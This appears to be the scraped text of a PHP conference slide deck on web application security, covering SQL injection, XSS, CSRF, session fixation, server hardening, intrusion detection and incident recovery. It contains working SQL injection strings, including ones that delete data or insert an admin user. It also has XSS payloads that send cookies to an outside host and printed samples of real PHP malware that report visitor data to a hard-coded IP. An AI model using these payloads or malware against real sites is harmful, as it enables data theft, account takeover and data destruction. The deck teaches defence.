90
Wim Godden Cu.be Solutions My app is secure... I think

My app is secure... I think

Embed Size (px)

Citation preview

Page 1: My app is secure... I think

Wim GoddenCu.be Solutions

My app is secure...I think

Page 2: My app is secure... I think

Who am I ?

Wim Godden (@wimgtr)

Page 3: My app is secure... I think

Where I'm from

Page 4: My app is secure... I think

Where I'm from

Page 5: My app is secure... I think

Where I'm from

Page 6: My app is secure... I think

Where I'm from

Page 7: My app is secure... I think

Where I'm from

Page 8: My app is secure... I think

Where I'm from

Page 9: My app is secure... I think

My town

Page 10: My app is secure... I think

My town

Page 11: My app is secure... I think

Belgium – the traffic

Page 12: My app is secure... I think

Who am I ?

Wim Godden (@wimgtr)

Founder of Cu.be Solutions (http://cu.be)

Open Source developer since 1997

Developer of OpenX, PHPCompatibility, ...

Speaker at PHP and Open Source conferences

Page 13: My app is secure... I think

Who are you ?

Developers ?

System engineers ?

Network engineers ?

Ever had a hack ?Through the code ?

Through the server ?

Page 14: My app is secure... I think

This tutorial

Based on 2-day training

No Vagrant/VirtualBox required

Page 15: My app is secure... I think

My app is secure... I think

Basic stuff = known...

… or is it ?

Code is not enoughCode

Webserver

Database server

Operating system

Network

Page 16: My app is secure... I think

Disclaimer

Do not use these techniques to hack

Use the knowledge to prevent others from hacking you

Page 17: My app is secure... I think

Reasons for hackers to hack

Steal and sell your data

Use your infrastructure as a jumpstation to hack other servers

Send out lots of spam

Use your server in a botnet for DDOS attacks

Page 18: My app is secure... I think

Part 1 : the most common attacks

Page 19: My app is secure... I think

SQL Injection

Over 15 years

Still #1 problem

Easy to exploit

Easy to automate (scan + exploit)

Often misunderstood

Page 20: My app is secure... I think

SQL injection – sample – lostpassword.php

<?php$query = "select * from user where email='" . $_POST['email'] . "'";$result = mysql_query($query);if (mysql_errno() != 0) { echo 'Error !';} else { if (mysql_numrows($result) == 0) { echo 'E-mail address not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_POST['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); }}

Page 21: My app is secure... I think

SQL injection – sample – lostpassword

[email protected]%27+OR+%271%27%3D%271

[email protected]' OR '1'='1

select * from user where email='[email protected]' OR '1'='1'

Page 22: My app is secure... I think

Worst case : data deletion

[email protected]' OR '1'='1'; delete from user where '1'='1

Page 23: My app is secure... I think

Knowing the database structure

[email protected]' AND email is NULL; –'

select * from user where email='[email protected]' AND email is NULL; --';

<?php$query = "select * from user where email='" . $_GET['email'] . "'";$result = mysql_query($query);if (mysql_errno() != 0) { echo 'Error !';} else { if (mysql_numrows($result) == 0) { echo 'Not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_GET['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); }}

Page 24: My app is secure... I think

Other fields ?

id

firstname / first_name

lastname / last_name

password / pass / pwd

is_admin / isadmin / admin

[email protected]'; INSERT INTO user('email', 'password', 'firstname', 'lastname', 'is_admin') values('[email protected]', md5('reallyinsecure'), 'My', 'New User', 1); --';

Page 25: My app is secure... I think

Update, retrieve password, update again

[email protected]'; UPDATE user set email='[email protected]' where email='[email protected]'; --';

Retrieve password for [email protected]

[email protected]'; UPDATE user set email='[email protected]' where email='[email protected]'; --';

Page 26: My app is secure... I think

Hackers just want your data

[email protected]' OR 1=1 limit 2, 1; --';

[email protected]' OR 1=1 limit 3, 1; --';

[email protected]' OR 1=1 limit 4, 1; --';

...

Page 27: My app is secure... I think

SQL Injection – much more...

Much more than logging in as a user

SQL injection possible → wide range of dangers

Page 28: My app is secure... I think

Fixing SQL injection : attempt #1

Addslashes() ?$query = mysql_query('select * from user where id=' . addslashes($_GET['id']));

id=5 and sleep(10)

select * from user where id=5 and sleep(10)

What if we hit that code 100 times simultaneously ?

MySQL max_connections reached → Server unavailable

Page 29: My app is secure... I think

Fixing SQL injection : attempt #2

mysql_real_escape_string()

mysqli_real_escape_string()

pg_escape_string()

...

Page 30: My app is secure... I think

Fixing SQL injection : use prepared statements

$select = 'select * from user where email = :email';$stmt = $db->prepare($select);$stmt->bindParam(':email', $_GET['email']);$stmt->execute();$results = $stmt->fetchAll();

Page 31: My app is secure... I think

ORM tools

Doctrine, Propel, …

When using their query language → OK

Beware : you can still execute raw SQL !

Page 32: My app is secure... I think

Other injections

LDAP injection

Command injection

User input → PHP → External system

If you provide the data, it's your responsibility !

Page 33: My app is secure... I think

Session fixation

www.our-app.com

1

2PHPSESSID=abc123

3www.our-app.com/?PHPSESSID=abc123

4

www.our-app.com/

?PHPSESSID=abc123

5www.our-app.com/

?PHPSESSID=abc123

Enable session.use_only_cookies in php.ini !

Page 34: My app is secure... I think

Session fixation

angel.our-app.com

1Create evil PHP code

4

Session cookie on

.our-app.com +

redirect

2devil.our-app.com

3

devil.our-app.comdevil.our-app.com

5Login6

Use evil session cookie

Page 35: My app is secure... I think

Ways to avoid session fixation

session.use_only_cookies = true

Change session on login using session_regenerate_id(true)

Do not share sessions between sites/subdomains

Do not accept sessions not generated by your codeForeign session → remove the session cookie from the user

Regenerate session regularly using session_regenerate_id(true)

All of the above help against session fixation AND session hijacking !

Page 36: My app is secure... I think

XSS – Cross Site Scripting

<?phpaddMessage($_GET['id'], $_GEt['message']);

echo 'Thank you for submitting your message : ' . $_GET['message'];

URL : /submitMessage

http://www.our-app.com/submitMessage?id=5&message=<script>alert('Fun eh ?')</script>

Page 37: My app is secure... I think

XSS – more advanced

http://www.our-app.com/submitMessage?id=5&message=Thanks, we will be in touch soon.<script type="text/javascript" src="http://someplace.io/i-will-get-your-cookie.js"></script>

Page 38: My app is secure... I think

XSS – Advanced, yet simple

<img src=x onerror=this.src='http://someplace.io/post-the-cookie-here.php?c='+document.cookie>

http://www.our-app.com/?id=5&message=Thanks%2C+we+will+be+in+touch+soon.%3Cimg+src%3Dx+onerror%3Dthis.src%3D%27http%3A%2F%2Fsomeplace.io%2Fpost-the-cookie-here.php%3Fc%3D%27%2Bdocument.cookie%3E%0D%0A

Page 39: My app is secure... I think

XSS : Non-persisted vs persistent

Previous examples were non-persistent : issue occurs once

Post code to exploitable bulletin board→ Persistent

→ Can infect every user

Page 40: My app is secure... I think

XSS : how to avoid

Filter input, escape output

<?phpecho 'I just submitted this message : ' . htmlentities($_GET['message'], ENT_QUOTES);

Page 41: My app is secure... I think

CSRF : Cross Site Request Forgery

www.our-app.com

1

Submit article

for review

2Retrieve articlefor review

3Evil html or jsmakes call

4

Devil uses extra

privileges

Here's the article you were asking for.<img src=”http://www.our-app.com/userSave.php?username=Devil&admin=1” />

Page 42: My app is secure... I think

CSRF : ways to avoid

Escape the output (where did we hear that before ?)

Add a field to forms with a random hash for verification upon submit

Check the referer header

Page 43: My app is secure... I think

General rules – input validation

Assume all data you receive as input

contains a hack attempt !

Filter on disallowed characters

Check validity ofDates

Email addresses

URLs

etc.

Input validation is not browser-side code, it's server-side code

(you can ofcourse use browser-side code to make it look good)

Page 44: My app is secure... I think

General rules – escaping output

Doing input validation → why do you need output escaping ?

What if the data originates froma webservice

an XML feed

Always escape output !

Page 45: My app is secure... I think

Bad authentication / authorization layer

index.php(checks cookie)

login.php(sets cookie)

redirectto login

main.php

redirectto main

Page 46: My app is secure... I think

Bad authentication / authorization layer

index.php(checks cookie)

login.php(sets cookie)

redirectto login

main.php(doesn't check

cookie !)

redirectto main

Page 47: My app is secure... I think

Bad authentication / authorization layer

Only hiding URLs on view, not restricting on action/somewhere is visible on screen

/somewhere/admin is not visible, but is accessible

Allowing direct access to other user's data/user/profile/id/311 is the user's profile

/user/profile/id/312 is also accessible and updateable

Allowing direct access to file downloads with guessable urls/download/file/83291.pdf

Creating cookies :loggedin=1

userid=312

admin=1

Page 48: My app is secure... I think

Protecting your web stack

PHP

Webserver

Database server

Mail server

Other servers

Firewalls

...

Page 49: My app is secure... I think

Protecting your web stack - PHP

Update to the latest version (5.4 = EOL, 5.5 will be EOL this year)

Safe_mode = dead → use PHP-FPM or VMs

Register_globals = dead :-)

Suhosin patch → mostly for web hosting companies

Disable 'dangerous' PHP functions you don't needsystem

exec

passthru

'Eval' is not a function, so can not be disabled

Page 50: My app is secure... I think

Protecting your web stack – PHP code

If you allow uploads, restrict extensions. No .php, .phtml !

Don't show errors...

...and don't show exceptions, but...

…log them ! And watch your logs ;-)

If you use filenames as parametersdownload.php?filename=test.pdf

Make sure you don't allow ../../../../etc/passwd

Use basename() and pathinfo() to restrict

File extensions :Use .php

Don't use .inc, .conf, .include, ...

Page 51: My app is secure... I think

Detecting hack attempts from PHP

2 options :Build your own

Use an existing system

Page 52: My app is secure... I think

Building a simply system

Add a hidden input field (bots will fill it out)

Implement a captcha

Limit number of attempts on captcha

Limit number of posts to certain URL

Page 53: My app is secure... I think

Limiting number of posts to a URL

function isUserBlocked($userId) { $submissions = $memcache->get('submissions_' . $userId); if ($submissions->getResultCode() == Memcached::RES_NOTSTORED) { $submissions = array(); }

$now = new DateTimeImmutable();

if (count($submissions) == 10) { if (new DateTime($submissions[0]) > $now->modify('-1 hour')) { return false; } unset($submissions[9]); }

array_unshift($submissions, $now->format(DateTime::ATOM)); $memcache->set('submissions_' . $userId, $submissions); return true;}

Page 54: My app is secure... I think

Using an existing system

PHPIDS :The standard IDS for PHP

More complete

Exposé :By @enygma (Chris Cornutt)

Faster

Use the same ruleset

Provides impact value =

level of trust in data

$data = array( 'POST' => array( 'test' => 'foo', 'bar' => array( 'baz' => 'quux', 'testing' => '<script>test</script>' ) ));

$filters = new \Expose\FilterCollection();$filters->load();

$logger = new \Expose\Log\Mongo();

$manager = new \Expose\Manager($filters, $logger);$manager->run($data);

// should return 8echo 'impact: '.$manager->getImpact()."\n";

Page 55: My app is secure... I think

Protecting your web stack – Passwords

Don't create your own password hashing algorithm !

Use password_hash5.5+ : built-in

< 5.5 : ircmaxell/password-compat

Don't md5() → sha512, blowfish, …

Set a good password policyMin 8 chars, min 1 number, min 1 capital, …

Try to avoid password hints→ Email is better for recovery

Page 56: My app is secure... I think

Protecting your web stack – Webserver

Block direct access to upload directories

Allow only access to port 80 and 443 (!)

Disable phpMyAdmin (VPN only if required)

On Apache don't :AllowOverride All

Options Indexes

Block access to .svn and .git

Detect and ban flood/scan attempts in Nginx :http { limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m; limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s;

server { limit_conn conn_limit_per_ip 10; limit_req zone=req_limit_per_ip burst=10 nodelay; }}

Page 57: My app is secure... I think

Use automatic logfile scanner & banner

Example : Fail2ban

[http-get-dos]enabled = trueport = http,httpsfilter = http-get-doslogpath = /var/log/nginx/access.logmaxretry = 300findtime = 300bantime = 600action = iptables[name=HTTP, port=http, protocol=tcp]

Page 58: My app is secure... I think

Protecting your web stack – Database server

No access from the web required

Give it a private IP

Other users on network ?

→ send traffic over SSL

1 user per DB

1 DB per application

Page 59: My app is secure... I think

Protecting your web stack – Mail server

Setup SSL for POP3, IMAP, SMTP

Setup DomainKeys

Setup SPF (Sender Policy Framework)

Page 60: My app is secure... I think

Protecting your web stack – DNS server

Possible weak point in architecture

Controls web, MX (mail) records, anti-spam, etc.

DNS hijacking

DNS spoofing

Page 61: My app is secure... I think

Protecting your web stack

Use public/private key pairs, not passwords

Don't login as root

→ Use sudo for commands that really need it

Allow SSH access only from VPN

RunningMemcached ?

Gearman ?

… ?

→ Block external access

Page 62: My app is secure... I think

Lack of updates

Not updating system packages

Not updating frameworks and librariesNot just main components

Doctrine

Bootstrap

TinyMCE

etc.

Not updating webserver software

Not updating database server software

Recently :Heartbleed (OpenSSL)

Shellshock (Bash)

Ghost (Glibc)

Page 63: My app is secure... I think

Protecting your web stack - firewalls

Separate or on-server

Default policy = deny all

Don't forget IPv6 !!!

Perform regular scans from external location

Use blacklists to keep certain IP ranges out

Page 64: My app is secure... I think

First action of a hacker

Make sure they don't lose the access they gainedCreate new user → easy to detect

Install a custom backdoor

→ easy to detect with good IDS

Install a backdoor based on installed software

→ Example : start SSHD with different config on different port (remember firewall ?)

→ Harder to detect

→ Kill it... what happens ?

→ Probably restarts via cronjob

Page 65: My app is secure... I think

Using an Intrusion Detection System

Host-based Intrusion Detection System (HIDS)

Network-based Intrusion Detection System (NIDS)

Page 66: My app is secure... I think

Host-based Intrusion Detection System

Scans the file system for changesNew/deleted files

Modified files (based on checksum)

File permission changes

Old systems are standalone :AIDE, Tripwire, AFICK

Easy to update by hacker, not recommended (unless combined with backup system)

Intrusion detection by backup

Best Open Source tool = OSSECClient-based architecture → real-time notification that hacker can't stop

Centralized updates

Page 67: My app is secure... I think

OSSEC - WebUI

Page 68: My app is secure... I think

OSSEC - Analogi

Page 69: My app is secure... I think

OSSEC structure

Page 70: My app is secure... I think

OSSEC integration

Page 71: My app is secure... I think

Decentralized alternative : Samhain

Can be used centralized or standalone

Log to syslog, send email, write to DB

Processing on the clientImproves processing speed

Requires CPU power on client

Page 72: My app is secure... I think

Network-based Intrusion Detection Systems

SnortOpen Source

Supported by Cisco (rules are not free)

Analyzes traffic, blocks malicious traffic

Huge user base, tons of addons

Page 73: My app is secure... I think

Snort

Page 74: My app is secure... I think

Network-based Intrusion Detection Systems

SirucataSimilar to Snort

Multi-threaded

Supports hardware acceleration (packet inspection by GPU !)

Detects malware in traffic

Scripting engine : Lua (with LuaJIT)

Page 75: My app is secure... I think

Sirucata + Kibana

Page 76: My app is secure... I think

Network-based Intrusion Detection Systems

KismetWireless IDS

Detects rogue access points

Prevents MITM attacks

Detects hidden access points

Page 77: My app is secure... I think

Kismet

Page 78: My app is secure... I think

One IDS distro to rule them all

Security OnionBased on Ubuntu

Contains all the IDS tools...

...and much more

Page 79: My app is secure... I think

You've been hacked ! Now what ? (1/3)

Take your application offline→ Put up a maintenance page (on a different server)

Take the server off the public Internet

Change your SSH keys

Make a full backup

Check for cronjobs

Check access/error logs→ Give them to legal department

Were any commits made from the server ?→ Your server shouldn't be able to !

Page 80: My app is secure... I think

What a PHP hack might look like

eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));

Page 81: My app is secure... I think

What a PHP hack might look like

Page 82: My app is secure... I think

What a PHP hack might look like

$GLOBALS['_226432454_']=Array();function _1618533527($i){ return '91.196.216.64';}

$ip=_1618533527(0);$GLOBALS['_1203443956_'] = Array('urlencode');function _1847265367($i){ $a=Array('http://','/btt.php?ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER'); return $a[$i];}$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)];$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');function _393632915($i){ return 'curl_version';}

Page 83: My app is secure... I think

What a PHP hack might look like - location

Changes to .htaccess

Files in upload directory

PHP code in files with different extension

New modules/plugins for Drupal/Wordpress

Page 84: My app is secure... I think

You've been hacked ! Now what ? (2/3)

Search systempreg_replace

base64_decode

eval

system

exec

passthru

Search system and databasescript

iframe

Page 85: My app is secure... I think

You've been hacked ! Now what ? (3/3)

Find out how the hack happened ;-)

Write an apology to your customers

Finally :Reinstall the OS (from scratch !)

Update all packages to the latest version

Don't reinstall from backup !

Install source code

Restore DB from previous backup (use binary log file)

Change user passwords

Relaunch

Page 86: My app is secure... I think

Takeaways

Think like a hackerCan I steal data ? Can I DOS the site ?

Which techniques could I use to do it ?

Try it without looking at the code

Try it while looking at the code

Use SSL/HTTPS everywhere !

Block all traffic, then allow only what's needed

Sanitize/filter your input

Escape your output

Block flooders/scanners

Use an IDS

Never trust a hacked system

Page 87: My app is secure... I think

Questions ?

Page 88: My app is secure... I think

Questions ?

Page 89: My app is secure... I think

Contact

Twitter @wimgtr

Slides http://www.slideshare.net/wimg

E-mail [email protected]

Please provide feedback via :

http://joind.in/13425

Page 90: My app is secure... I think

Thanks !

Please provide feedback via :

http://joind.in/13425